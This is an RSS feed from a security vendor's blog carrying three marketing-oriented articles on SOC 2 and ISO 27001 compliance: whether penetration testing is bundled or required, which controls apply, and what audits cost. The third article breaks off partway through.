<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>HackZero Research</title><description>Original vulnerability research and practical security guidance from the HackZero team: disclosed findings with proof of concept and patch, plus what compliance actually requires.</description><link>https://hackzero.ai</link><language>en-us</language><copyright>Agentic Security, Inc.</copyright><item><title>SOC 2 compliance software with penetration testing included</title><link>https://hackzero.ai/learn/soc-2-with-pentest-included</link><guid isPermaLink="true">https://hackzero.ai/learn/soc-2-with-pentest-included</guid><description>Which platforms actually include a pentest with SOC 2, why Vanta and Drata refer it out, the one line that can never be bundled, and what each option costs.</description><pubDate>Thu, 13 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1 id=&quot;which-platforms-include-a-penetration-test-with-soc-2-compliance&quot;&gt;Which platforms include a penetration test with SOC 2 compliance?&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;Almost none of them do.&lt;/strong&gt; Vanta, Drata and Secureframe automate the
compliance program and refer the penetration test to a partner firm, so the
standard SOC 2 purchase is three separate vendors: a platform, a testing firm,
and the CPA who signs the report. Only the last of those three has to stay
separate.&lt;/p&gt;
&lt;p&gt;That last sentence is the whole subject of this page. One of those three splits
is a rule. The other is a business decision, and you are paying for it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackzero.ai/img/learn/soc2-pentest-bundling-line.svg&quot; alt=&quot;Diagram comparing the standard three-vendor SOC 2 purchase of a compliance platform, a separate pentest firm and an independent CPA against one subscription holding the platform and the monthly pentest with the CPA still billed separately&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;On this page:&lt;/strong&gt; &lt;a href=&quot;#the-three-vendors-in-a-standard-soc-2-purchase&quot;&gt;the three vendors&lt;/a&gt;
· &lt;a href=&quot;#what-each-platform-actually-includes&quot;&gt;what each platform includes&lt;/a&gt; ·
&lt;a href=&quot;#why-the-test-gets-referred-out&quot;&gt;why the test gets referred out&lt;/a&gt; ·
&lt;a href=&quot;#the-line-that-genuinely-cannot-be-bundled&quot;&gt;the line that cannot be bundled&lt;/a&gt; ·
&lt;a href=&quot;#when-buying-them-separately-is-the-right-call&quot;&gt;when to buy separately&lt;/a&gt; ·
&lt;a href=&quot;#what-auditors-accept-from-a-continuous-test&quot;&gt;what auditors accept&lt;/a&gt; ·
&lt;a href=&quot;#what-each-route-costs&quot;&gt;the cost either way&lt;/a&gt; ·
&lt;a href=&quot;#how-to-evaluate-a-combined-offer&quot;&gt;how to evaluate an offer&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;the-three-vendors-in-a-standard-soc-2-purchase&quot;&gt;The three vendors in a standard SOC 2 purchase&lt;/h2&gt;
&lt;p&gt;Nobody sells “a SOC 2”. You assemble one, usually from three parties who each
run their own sales process.&lt;/p&gt;





























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Vendor&lt;/th&gt;&lt;th&gt;What they sell&lt;/th&gt;&lt;th&gt;2026 range&lt;/th&gt;&lt;th&gt;Contract&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Compliance platform&lt;/td&gt;&lt;td&gt;Controls, evidence collection, monitoring, policies&lt;/td&gt;&lt;td&gt;$10,000 to $20,000 a year&lt;/td&gt;&lt;td&gt;Annual, per seat or per framework&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Penetration testing firm&lt;/td&gt;&lt;td&gt;The test itself, and the report&lt;/td&gt;&lt;td&gt;$4,000 to $12,000 a test&lt;/td&gt;&lt;td&gt;Per engagement, scoped each time&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Independent CPA firm&lt;/td&gt;&lt;td&gt;The attestation opinion&lt;/td&gt;&lt;td&gt;$7,000 to $50,000&lt;/td&gt;&lt;td&gt;Per examination&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h3 id=&quot;only-one-of-the-three-separations-is-a-rule&quot;&gt;Only one of the three separations is a rule&lt;/h3&gt;
&lt;p&gt;The CPA is separate because an attestation engagement requires it. The pentest
firm is separate because the platform vendor decided not to build one. Those
are very different reasons, and conflating them is how the market talks buyers
into treating a two-vendor overhead as though it were a compliance
requirement. Our &lt;a href=&quot;https://hackzero.ai/learn/soc-2-cost&quot;&gt;SOC 2 cost breakdown&lt;/a&gt; prices each line
item on its own.&lt;/p&gt;
&lt;h2 id=&quot;what-each-platform-actually-includes&quot;&gt;What each platform actually includes&lt;/h2&gt;
&lt;p&gt;This is the answer to the question in the title, laid out plainly.&lt;/p&gt;















































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Vendor&lt;/th&gt;&lt;th&gt;SOC 2 program&lt;/th&gt;&lt;th&gt;Pentest included&lt;/th&gt;&lt;th&gt;Published price&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Vanta&lt;/td&gt;&lt;td&gt;Yes, category leader&lt;/td&gt;&lt;td&gt;No, partner referral&lt;/td&gt;&lt;td&gt;No, quote only&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Drata&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;td&gt;No, partner referral&lt;/td&gt;&lt;td&gt;No, quote only&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Secureframe&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;td&gt;No, partner referral&lt;/td&gt;&lt;td&gt;No, quote only&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;XBOW&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;td&gt;Testing is the product&lt;/td&gt;&lt;td&gt;No, per test&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Horizon3.ai&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;td&gt;Testing is the product&lt;/td&gt;&lt;td&gt;No, quote only&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;HackZero&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;td&gt;Yes, every month&lt;/td&gt;&lt;td&gt;$299 / $499 a month&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h3 id=&quot;you-can-verify-this-yourself-in-ten-minutes&quot;&gt;You can verify this yourself in ten minutes&lt;/h3&gt;
&lt;p&gt;None of this requires taking our word for it. Drata publishes a
&lt;a href=&quot;https://drata.com/partners/channel/directory&quot;&gt;service partner directory&lt;/a&gt;
listing the firms that do the testing, and its own SOC 2 explainer describes a
customer doing exactly what the model implies:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;So, they chose to partner with one of Drata’s service partners to conduct an
external penetration test during their SOC 2 observation period.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Vanta’s structure is the same, with a
&lt;a href=&quot;https://www.vanta.com/partners/find-a-partner&quot;&gt;partner finder&lt;/a&gt; and a
&lt;a href=&quot;https://help.vanta.com/en/articles/12511759-penetration-testing&quot;&gt;help-centre article&lt;/a&gt;
explaining how test results get into the platform rather than how the platform
produces them. Neither company hides it. It is simply not the thing most
buyers check before signing.&lt;/p&gt;
&lt;h2 id=&quot;why-the-test-gets-referred-out&quot;&gt;Why the test gets referred out&lt;/h2&gt;
&lt;h3 id=&quot;a-services-business-does-not-fit-inside-a-software-business&quot;&gt;A services business does not fit inside a software business&lt;/h3&gt;
&lt;p&gt;Penetration testing is delivered by people with certifications, and its cost
scales with tester-days. Compliance automation is software, where the second
customer costs almost nothing to serve. Bolting a services business onto a
software business drags gross margin down and makes the whole company harder
to value, so the rational move for a venture-scale platform is to refer the
work and keep the software margin.&lt;/p&gt;
&lt;h3 id=&quot;the-referral-is-a-margin-decision-not-a-trick&quot;&gt;The referral is a margin decision, not a trick&lt;/h3&gt;
&lt;p&gt;Worth being fair about this. A referral network is a legitimate structure, the
partner firms are usually good, and some of them discount for platform
customers. What the structure costs you is not integrity. It is a second
procurement cycle, a second scoping conversation, a second renewal to
negotiate, and a report that arrives as a PDF you then have to file against
the right criteria by hand.&lt;/p&gt;
&lt;h2 id=&quot;the-line-that-genuinely-cannot-be-bundled&quot;&gt;The line that genuinely cannot be bundled&lt;/h2&gt;
&lt;p&gt;The attestation. Every serious version of this argument ends at the same
sentence in the AICPA’s attestation standards:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;An attestation engagement requires the practitioner to be independent of the
responsible party.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The firm signing the opinion cannot also sell you the software it is opining
on or fix the controls it is testing. That is why the
&lt;a href=&quot;https://www.aicpa-cima.com/resources/landing/system-and-organization-controls-soc-suite-of-services&quot;&gt;SOC suite of services&lt;/a&gt;
is built around a report rather than a certificate, and why no honest vendor
sells an end-to-end SOC 2 with the audit inside it.&lt;/p&gt;
&lt;h3 id=&quot;what-included-must-never-mean&quot;&gt;What “included” must never mean&lt;/h3&gt;
&lt;p&gt;If a vendor quotes one number covering the platform, the test and the audit,
run the arithmetic before you get excited. At a $150 hourly rate, a $2,500
bundle covering both an examination and a penetration test buys roughly
sixteen hours for the pair, which is how that tier produces templated
no-exception reports. The 2026 audit-mill scandal, 533 near-identical reports
across 455 companies, is why enterprise reviewers now read the methodology
page before the findings.&lt;/p&gt;
&lt;p&gt;So the defensible package is platform plus testing on one line, with the CPA
paid directly by you. That is the structure we sell, and the direct payment is
the point rather than an inconvenience.&lt;/p&gt;
&lt;h2 id=&quot;when-buying-them-separately-is-the-right-call&quot;&gt;When buying them separately is the right call&lt;/h2&gt;
&lt;p&gt;Against our own interest, because it is true often enough to say plainly:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Your auditor or your customer named a firm.&lt;/strong&gt; Some enterprise reviewers
and some regulated buyers want a specific brand on the report cover. Argue
if you like, but you will usually lose, and the deal is worth more than the
principle.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;You need more than SOC 2.&lt;/strong&gt; If you are carrying ISO 27001, HIPAA, PCI,
GDPR and FedRAMP at once, framework breadth is the thing to optimise for and
the incumbents are genuinely better at it. See
&lt;a href=&quot;https://hackzero.ai/learn/which-frameworks-require-third-party-penetration-test&quot;&gt;which frameworks require a third-party test&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The scope is not a web application.&lt;/strong&gt; Internal network, Active Directory,
hardware, physical and social engineering are different disciplines. A
combined subscription scoped to apps and APIs will not cover them.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;You want a human-led engagement specifically.&lt;/strong&gt; Continuous automated
testing with human validation is a different product from four named
testers for two weeks. We sell that separately at $2,999 per engagement
rather than pretending the subscription is the same thing.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;what-auditors-accept-from-a-continuous-test&quot;&gt;What auditors accept from a continuous test&lt;/h2&gt;
&lt;p&gt;Auditors judge evidence, not vendors. A report earns its place when it
carries a documented methodology, findings validated as actually exploitable,
reproduction steps, and a retest confirming the fix. Whether a human or a
machine produced it is not the test.&lt;/p&gt;
&lt;p&gt;Where continuous testing genuinely wins is the observation window. A Type 2
asks whether your controls operated across months, not on one day, so twelve
signed monthly reports speak to that question in a way a single annual PDF
cannot. Drata says the quiet part out loud on its own site:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Penetration tests are technically not a requirement for SOC 2 compliance.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Which is correct, and matches what we wrote in
&lt;a href=&quot;https://hackzero.ai/learn/does-soc-2-require-a-penetration-test&quot;&gt;does SOC 2 require a penetration test&lt;/a&gt;.
The test is demanded by your customers and expected by your auditor, not
mandated by the criteria. That makes the question “what evidence satisfies
them”, and the answer is exploit-validated findings on a cadence, filed
against the right criteria.&lt;/p&gt;
&lt;h2 id=&quot;what-each-route-costs&quot;&gt;What each route costs&lt;/h2&gt;



































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;Three vendors&lt;/th&gt;&lt;th&gt;One subscription plus a CPA&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Platform&lt;/td&gt;&lt;td&gt;$10,000 to $20,000 a year&lt;/td&gt;&lt;td&gt;$2,990 or $4,990 a year&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Penetration testing&lt;/td&gt;&lt;td&gt;$4,000 to $12,000 a test, once&lt;/td&gt;&lt;td&gt;Included, every month&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Attestation&lt;/td&gt;&lt;td&gt;$7,000 to $50,000&lt;/td&gt;&lt;td&gt;From $2,500, paid direct&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Contracts to manage&lt;/td&gt;&lt;td&gt;Three&lt;/td&gt;&lt;td&gt;Two&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Price you can check before a call&lt;/td&gt;&lt;td&gt;None of it&lt;/td&gt;&lt;td&gt;All of it&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Vanta and Drata publish no price list, so the platform band above comes from
third-party procurement data rather than either vendor:
&lt;a href=&quot;https://www.vendr.com/buyer-guides/vanta&quot;&gt;Vendr’s buyer guides&lt;/a&gt; put observed
Vanta contracts between $7,500 and $57,000 a year, median near $20,000. Our
own numbers are on &lt;a href=&quot;https://hackzero.ai/pricing&quot;&gt;the pricing page&lt;/a&gt; and in
&lt;a href=&quot;https://hackzero.ai/learn/soc-2-compliance&quot;&gt;our SOC 2 compliance guide&lt;/a&gt;, and the head-to-head
detail is on &lt;a href=&quot;https://hackzero.ai/compare/vanta&quot;&gt;HackZero vs Vanta&lt;/a&gt; and
&lt;a href=&quot;https://hackzero.ai/compare/drata&quot;&gt;HackZero vs Drata&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;how-to-evaluate-a-combined-offer&quot;&gt;How to evaluate a combined offer&lt;/h2&gt;
&lt;p&gt;Four questions, in the order that kills bad offers fastest.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Who signs the attestation?&lt;/strong&gt; If the answer is anyone connected to the
platform, stop. Nothing else on the list matters.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Who runs the test, employees or a referred partner?&lt;/strong&gt; Both are
acceptable. Only one of them is what “included” implies.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What does the report contain?&lt;/strong&gt; Reproduction steps and a proof that the
exploit fired, or a scanner export with severity labels. These are not the
same document and your customer’s security reviewer knows it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Is the retest included?&lt;/strong&gt; A finding is not closed until someone re-runs
it. If the retest is a new engagement, the annual number you were quoted
is not the annual number you will pay.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;A vendor that answers all four without a discovery call is unusual in this
market, which is the actual reason we publish ours. If your situation is odd
enough that the price list does not settle it, a
&lt;a href=&quot;https://hackzero.ai/book&quot;&gt;20-minute call&lt;/a&gt; will.&lt;/p&gt;</content:encoded><author>cuau@hackzero.ai (Cuauhtli Padilla)</author></item><item><title>Does ISO 27001 require penetration testing?</title><link>https://hackzero.ai/learn/iso-27001-penetration-testing</link><guid isPermaLink="true">https://hackzero.ai/learn/iso-27001-penetration-testing</guid><description>ISO 27001 never names penetration testing. Why A.8.8 and A.8.29 make it the practical answer anyway, what auditors accept as evidence, and what it costs.</description><pubDate>Sat, 08 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1 id=&quot;does-iso-27001-require-penetration-testing&quot;&gt;Does ISO 27001 require penetration testing?&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;No. Nothing in ISO/IEC 27001:2022 names penetration testing, in Annex A or
anywhere else.&lt;/strong&gt; But two controls, A.8.8 and A.8.29, require you to find
technical vulnerabilities and to test security, and a penetration test is the
cheapest defensible evidence that both operate. That is why auditors expect one.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackzero.ai/img/learn/iso-27001-testing-path.svg&quot; alt=&quot;Diagram showing how penetration testing becomes an ISO 27001 requirement in practice: no Annex A control names it, controls A.8.8 and A.8.29 require vulnerability identification and security testing, and the certification body asks for the evidence&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;On this page:&lt;/strong&gt; &lt;a href=&quot;#what-the-standard-actually-says&quot;&gt;what the standard says&lt;/a&gt; ·
&lt;a href=&quot;#why-auditors-expect-one-anyway&quot;&gt;why auditors expect a test&lt;/a&gt; ·
&lt;a href=&quot;#the-difference-from-soc-2-that-matters&quot;&gt;certificate vs report&lt;/a&gt; ·
&lt;a href=&quot;#scope-is-the-finding-nobody-expects&quot;&gt;scope&lt;/a&gt; ·
&lt;a href=&quot;#how-often-you-actually-need-to-test&quot;&gt;how often&lt;/a&gt; ·
&lt;a href=&quot;#what-to-hand-the-auditor&quot;&gt;evidence&lt;/a&gt; · &lt;a href=&quot;#what-it-costs&quot;&gt;cost&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;what-the-standard-actually-says&quot;&gt;What the standard actually says&lt;/h2&gt;
&lt;p&gt;ISO/IEC 27001:2022 carries &lt;strong&gt;93 controls in Annex A&lt;/strong&gt;, grouped into four
themes: organizational, people, physical and technological. Search all 93 for
the words “penetration test” and you will not find them. The
&lt;a href=&quot;https://www.iso.org/standard/27001&quot;&gt;standard’s own catalogue entry&lt;/a&gt; describes
an information security management system, not a testing regime.&lt;/p&gt;
&lt;p&gt;Two controls do the work instead.&lt;/p&gt;
&lt;h3 id=&quot;a88-management-of-technical-vulnerabilities&quot;&gt;A.8.8, management of technical vulnerabilities&lt;/h3&gt;
&lt;p&gt;This is the one most testing programmes are hung on. It requires that
information about technical vulnerabilities in the systems you use is obtained,
that your exposure is evaluated, and that suitable measures follow. It says
nothing about how you obtain that information, which is deliberate: a scanner, a
vendor advisory feed and a penetration test are all valid inputs, and the
standard leaves the choice to your risk assessment.&lt;/p&gt;
&lt;h3 id=&quot;a829-security-testing-in-development-and-acceptance&quot;&gt;A.8.29, security testing in development and acceptance&lt;/h3&gt;
&lt;p&gt;This one is narrower and more often missed. It requires security testing to be
defined and carried out within the development lifecycle, which means testing
before things reach production, not only afterwards. If you ship software, this
control is where “we run a test once a year on the live site” starts to look
thin.&lt;/p&gt;
&lt;h3 id=&quot;the-two-that-quietly-widen-the-scope&quot;&gt;The two that quietly widen the scope&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;A.8.25, secure development lifecycle&lt;/strong&gt;, and &lt;strong&gt;A.8.31, separation of
development, test and production environments&lt;/strong&gt;, both interact with how you
test. If you test in an environment that does not resemble production, you have
evidence for one control and a gap in another.&lt;/p&gt;
&lt;h2 id=&quot;why-auditors-expect-one-anyway&quot;&gt;Why auditors expect one anyway&lt;/h2&gt;
&lt;h3 id=&quot;assurance-is-the-word-the-standard-keeps-using&quot;&gt;Assurance is the word the standard keeps using&lt;/h3&gt;
&lt;p&gt;Because the certification body’s job is to see whether the controls you claimed
in your Statement of Applicability actually operate, and testing is the evidence
that is hardest to argue with. The UK’s National Cyber Security Centre, whose
&lt;a href=&quot;https://www.ncsc.gov.uk/guidance/penetration-testing&quot;&gt;penetration testing guidance&lt;/a&gt;
is the reference most European auditors reach for, defines the exercise in terms
that map neatly onto A.8.8:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Penetration testing is a method for gaining assurance in the security of an IT
system by attempting to breach some or all of that system’s security, using
the same tools and techniques as an adversary might.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Assurance is the operative word. An advisory feed tells you a vulnerability
exists somewhere in the world. A test tells you whether it exists in your
system, which is the question A.8.8 actually asks.&lt;/p&gt;
&lt;h2 id=&quot;the-difference-from-soc-2-that-matters&quot;&gt;The difference from SOC 2 that matters&lt;/h2&gt;
&lt;p&gt;This is worth being precise about, because the two get discussed
interchangeably and they are structurally different.&lt;/p&gt;



































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;ISO 27001&lt;/th&gt;&lt;th&gt;SOC 2&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;What you get&lt;/td&gt;&lt;td&gt;A certificate with a scope statement and an expiry&lt;/td&gt;&lt;td&gt;A report containing a CPA firm’s opinion&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Who issues it&lt;/td&gt;&lt;td&gt;An accredited certification body&lt;/td&gt;&lt;td&gt;A licensed CPA firm&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Oversight&lt;/td&gt;&lt;td&gt;National accreditation bodies such as &lt;a href=&quot;https://www.ukas.com/&quot;&gt;UKAS&lt;/a&gt; under the &lt;a href=&quot;https://iaf.nu/&quot;&gt;IAF&lt;/a&gt; multilateral agreement&lt;/td&gt;&lt;td&gt;State boards of accountancy and AICPA peer review&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Cycle&lt;/td&gt;&lt;td&gt;Initial audit, surveillance in years 1 and 2, recertification in year 3&lt;/td&gt;&lt;td&gt;A new report every period, typically annually&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;”Certified” is correct&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;td&gt;No, there is no such thing&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;One caveat on the certificate, because unaccredited certificates circulate and
they are not equivalent:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Certification issued by a body that is not itself accredited carries no
assurance that the certification process met an international standard.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Check that the body appears on a national accreditation register before you pay,
and check the same for a supplier’s certificate before you accept it.&lt;/p&gt;
&lt;p&gt;So “show me your ISO certificate” is a reasonable request, while “show me your
SOC 2 certificate” is a category error, as our
&lt;a href=&quot;https://hackzero.ai/learn/soc-2-compliance&quot;&gt;SOC 2 compliance guide&lt;/a&gt; explains at length. If you are
being asked for both, note that the testing evidence is largely reusable while
the paperwork is not.&lt;/p&gt;
&lt;h2 id=&quot;scope-is-the-finding-nobody-expects&quot;&gt;Scope is the finding nobody expects&lt;/h2&gt;
&lt;p&gt;The most common testing-related nonconformity here is not “you did not test”. It
is that the test scope and the ISMS scope do not match.&lt;/p&gt;
&lt;p&gt;Your Statement of Applicability records which controls apply and why. Your risk
assessment records what you decided to worry about. If those documents identify
application-layer risk across three services and your test covered one, the gap
is visible in your own paperwork before the auditor even reads the report.&lt;/p&gt;
&lt;p&gt;The fix is boring and it works: write the scope down first, test to it, and keep
the two in step whenever either changes. A test that is narrower than your
documented risk is worse than no test, because it is a written admission.&lt;/p&gt;
&lt;h2 id=&quot;how-often-you-actually-need-to-test&quot;&gt;How often you actually need to test&lt;/h2&gt;
&lt;p&gt;There is no mandated interval, and anyone who tells you the standard says
annually is describing convention rather than text. What the standard requires
is that your approach follow from risk.&lt;/p&gt;
&lt;p&gt;That said, the convention exists for a reason and auditors are comfortable with
it. &lt;strong&gt;Once a year plus after any significant change&lt;/strong&gt; is the defensible
baseline. Significant change means what you would expect: a new
internet-facing service, an authentication rewrite, a cloud migration, a new
processing location.&lt;/p&gt;
&lt;p&gt;The awkward case is the one most software companies are actually in. If you
deploy weekly, an annual test describes a system that has since been replaced
many times over, and the certificate does not care but your enterprise buyer’s
security questionnaire will. Continuous testing resolves that mismatch by
making the evidence continuous too, which also happens to suit the three-year
certification cycle better than a single annual burst.&lt;/p&gt;
&lt;h2 id=&quot;what-to-hand-the-auditor&quot;&gt;What to hand the auditor&lt;/h2&gt;
&lt;p&gt;Four things, and the fourth is the one people forget.&lt;/p&gt;

























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Evidence&lt;/th&gt;&lt;th&gt;Why the auditor wants it&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;The test report, with methodology&lt;/td&gt;&lt;td&gt;Shows what was actually done, not just what was found. This section is read first&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Scope agreed in advance&lt;/td&gt;&lt;td&gt;Ties the test to the ISMS boundary and the risk assessment&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;A remediation record, with dates&lt;/td&gt;&lt;td&gt;A.8.8 requires that measures follow. Findings with no closure record are the gap&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Retest evidence for anything material&lt;/td&gt;&lt;td&gt;Proves the measure worked, rather than that a ticket was closed&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Our &lt;a href=&quot;https://hackzero.ai/compliance&quot;&gt;compliance evidence&lt;/a&gt; page covers the format, and
&lt;a href=&quot;https://hackzero.ai/learn/does-soc-2-require-a-penetration-test&quot;&gt;does SOC 2 require a penetration test&lt;/a&gt;
covers the equivalent expectation on the SOC 2 side, including the observation
window rule that catches first-time buyers.&lt;/p&gt;
&lt;h2 id=&quot;what-it-costs&quot;&gt;What it costs&lt;/h2&gt;
&lt;p&gt;The test itself is priced like any other penetration test: tester-days times a
day rate, so &lt;strong&gt;$5,000 to $30,000&lt;/strong&gt; for a web application from a credible
boutique, with cloud estates running higher. Our
&lt;a href=&quot;https://hackzero.ai/learn/penetration-testing-cost&quot;&gt;penetration testing cost&lt;/a&gt; breakdown has the
bands by engagement type.&lt;/p&gt;
&lt;p&gt;The certification is separate and is where ISO differs from SOC 2 on cost
structure. You pay an accredited body for the initial audit and then again for
surveillance, and the fee scales with the size of the ISMS and the number of
sites rather than with trust criteria. Budget for the three-year cycle rather
than the first invoice.&lt;/p&gt;
&lt;p&gt;Ours is published: &lt;strong&gt;$299 a month under ten people and $499 at ten or more&lt;/strong&gt;,
which includes a penetration test every month rather than once a year, unlimited
if you bring your own Anthropic key. A human-led engagement is &lt;strong&gt;$2,999 per
engagement&lt;/strong&gt; on top. There is no quote call, and if your situation is genuinely
unusual a &lt;a href=&quot;https://hackzero.ai/book&quot;&gt;20-minute call&lt;/a&gt; will settle it faster than a scoping form.&lt;/p&gt;</content:encoded><author>cuau@hackzero.ai (Cuauhtli Padilla)</author></item><item><title>SOC 2 audit cost in 2026: every line item, priced</title><link>https://hackzero.ai/learn/soc-2-cost</link><guid isPermaLink="true">https://hackzero.ai/learn/soc-2-cost</guid><description>What a SOC 2 audit really costs in 2026: the three line items vendors blur, what sets the CPA&apos;s floor, why published ranges run high, and our all-in number.</description><pubDate>Sat, 08 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1 id=&quot;how-much-does-a-soc-2-audit-cost&quot;&gt;How much does a SOC 2 audit cost?&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;A SOC 2 Type 2 examination costs $7,000 to $50,000 in 2026 from a
traditional CPA firm, and the whole first-year program runs $15,000 to $60,000
once the platform and the penetration test are counted.&lt;/strong&gt; Most of that spread
is scope, not quality.&lt;/p&gt;
&lt;p&gt;Our own all-in is $6,088 for a first year under ten people, published, with a
penetration test every month included. Here is where every dollar in a SOC 2
quote comes from, line by line.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackzero.ai/img/learn/soc2-cost-stack.svg&quot; alt=&quot;Diagram of the three SOC 2 cost line items: the CPA examination billed by an independent firm, the compliance platform billed by a software vendor, and the penetration test billed by a security firm&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;On this page:&lt;/strong&gt; &lt;a href=&quot;#the-three-line-items-vendors-blur&quot;&gt;the three line items&lt;/a&gt;
· &lt;a href=&quot;#what-actually-sets-the-cpas-floor&quot;&gt;what sets the CPA’s floor&lt;/a&gt; ·
&lt;a href=&quot;#why-the-published-ranges-run-high&quot;&gt;why published ranges run high&lt;/a&gt; ·
&lt;a href=&quot;#the-five-levers-that-actually-cut-the-fee&quot;&gt;the levers that cut the fee&lt;/a&gt; ·
&lt;a href=&quot;#what-soc-2-certification-cost-means&quot;&gt;certification cost&lt;/a&gt; ·
&lt;a href=&quot;#what-year-two-costs&quot;&gt;year two&lt;/a&gt; · &lt;a href=&quot;#our-numbers-in-the-open&quot;&gt;our numbers&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;the-three-line-items-vendors-blur&quot;&gt;The three line items vendors blur&lt;/h2&gt;
&lt;p&gt;Nobody buys “a SOC 2”. You buy three things from three parties, and every
confusing price article mixes them.&lt;/p&gt;





























